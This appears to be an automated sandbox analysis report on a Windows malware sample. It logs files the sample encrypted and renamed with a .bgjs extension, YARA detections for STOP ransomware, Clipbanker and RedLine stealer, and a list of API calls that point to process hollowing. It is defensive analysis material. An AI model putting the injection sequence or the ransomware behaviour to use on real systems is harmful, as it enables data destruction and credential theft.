Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\LCNHN4MU\pwa-mru.9ba2d4c9e339ba497e10.chunk.v7[1].js entropy: 7.99576473501	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\AC\INetCache\GOGXYOSL\1446_8.53.0[1].json entropy: 7.99868349208	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\DLAKQVF0\accountcorepackage_7RPOlbJQzUEPp9Cr7jKSkg2[1].js entropy: 7.99674148084	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\knockout_3.3.0_X1BYS2jZMbi7hfUj8VuqFA2[1].js entropy: 7.99783392581	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\HSLUET3E\knockout_old_GJ62c6D9R5HuKFdkoO8XYw2[1].js entropy: 7.99765016412	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\jquerypackage_1.10_5V7LAuc3bNAQx2QQfr1RPw2[1].js entropy: 7.998077835	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC\INetCache\I8BK050T\lwsignuphoststringscountrybirthdate_en-gb_tXeUWmrL4gUQDx-AaHVz2g2[1].js entropy: 7.99465943577	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99719653437	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99602168894	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99243757391	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.9926170532	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.9922022504	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99238683786	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99339908654	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000010.db entropy: 7.99828637478	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000011.db entropy: 7.99830563002	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db entropy: 7.99741106909	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db entropy: 7.99820591351	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99297719272	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99719262863	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\AppData\Local\IconCache.db entropy: 7.99306300377	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\Local Settings\IconCache.db.bgjs (copy) entropy: 7.99306300377	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\Local Settings\Temp\wctEA40.tmp.bgjs (copy) entropy: 7.99762679	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.bgjs (copy) entropy: 7.99752940284	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.bgjs (copy) entropy: 7.99233122789	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\jones\Local Settings\ConnectedDevicesPlatform\L.jones\ActivitiesCache.db-shm.bgjs (copy) entropy: 7.99438488563	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy) entropy: 7.99719653437	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy) entropy: 7.99602168894	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy) entropy: 7.99243757391	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy) entropy: 7.9926170532	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy) entropy: 7.9922022504	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy) entropy: 7.99238683786	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy) entropy: 7.99339908654	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000010.db.bgjs (copy) entropy: 7.99828637478	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000011.db.bgjs (copy) entropy: 7.99830563002	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db.bgjs (copy) entropy: 7.99741106909	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.bgjs (copy) entropy: 7.99820591351	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy) entropy: 7.99297719272	Jump to dropped file
Source: C:\Users\user\Desktop\R5391762lf.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgjs (copy) entropy: 7.99719262863	Jump to dropped file
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\76561199673019888[1].htm entropy: 7.99525587095	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.mstsca.exe.9215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 32.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 32.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.build3.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.build3.exe.8515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 31.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 33.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 33.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 16.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.mstsca.exe.9215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 5.2.R5391762lf.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.R5391762lf.exe.5db15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 20.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 13.2.build3.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 13.2.build3.exe.8515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 33.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 33.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.8615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.8615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 32.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 32.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0.2.R5391762lf.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.R5391762lf.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.R5391762lf.exe.5ec15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.R5391762lf.exe.5ec15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.R5391762lf.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.R5391762lf.exe.5e115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.R5391762lf.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.R5391762lf.exe.5e115a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.R5391762lf.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.R5391762lf.exe.5da15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.R5391762lf.exe.5ec15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.R5391762lf.exe.5ec15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.R5391762lf.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.R5391762lf.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.R5391762lf.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.R5391762lf.exe.5da15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 24.2.R5391762lf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.R5391762lf.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.R5391762lf.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.R5391762lf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.2677102464.0000000000860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.1561850226.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.1411124880.0000000005EC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.3833609200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000014.00000002.3833462867.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000005.00000002.1405143882.0000000004456000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.1620821652.000000000088C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.1548831250.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.1405257408.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000018.00000002.1801978048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000000.00000002.1373934785.0000000004498000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000002.1502845330.0000000001D0E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.1548118097.0000000004466000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.1411013560.0000000004578000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001B.00000002.2060772952.0000000000B00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000017.00000002.1792622413.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000017.00000002.1792336779.00000000044D3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.2059366101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000D.00000002.1620588181.0000000000850000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000013.00000002.1703479175.0000000000B3C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000020.00000002.3283516956.0000000000AC0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001E.00000002.2677244146.0000000000880000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000013.00000002.1703198337.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001B.00000002.2060305239.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000010.00000002.1620958954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: Process Memory Space: R5391762lf.exe PID: 7304, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: R5391762lf.exe PID: 7360, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: R5391762lf.exe PID: 7500, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: R5391762lf.exe PID: 7508, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_05EA0110
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 5_2_05DB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	5_2_05DB0110
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Code function: 6_2_05EC0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	6_2_05EC0110

Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_00405653	0_2_00405653
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA3520	0_2_05EA3520
Source: C:\Users\user\Desktop\R5391762lf.exe	Code function: 0_2_05EA7520	0_2_05EA7520
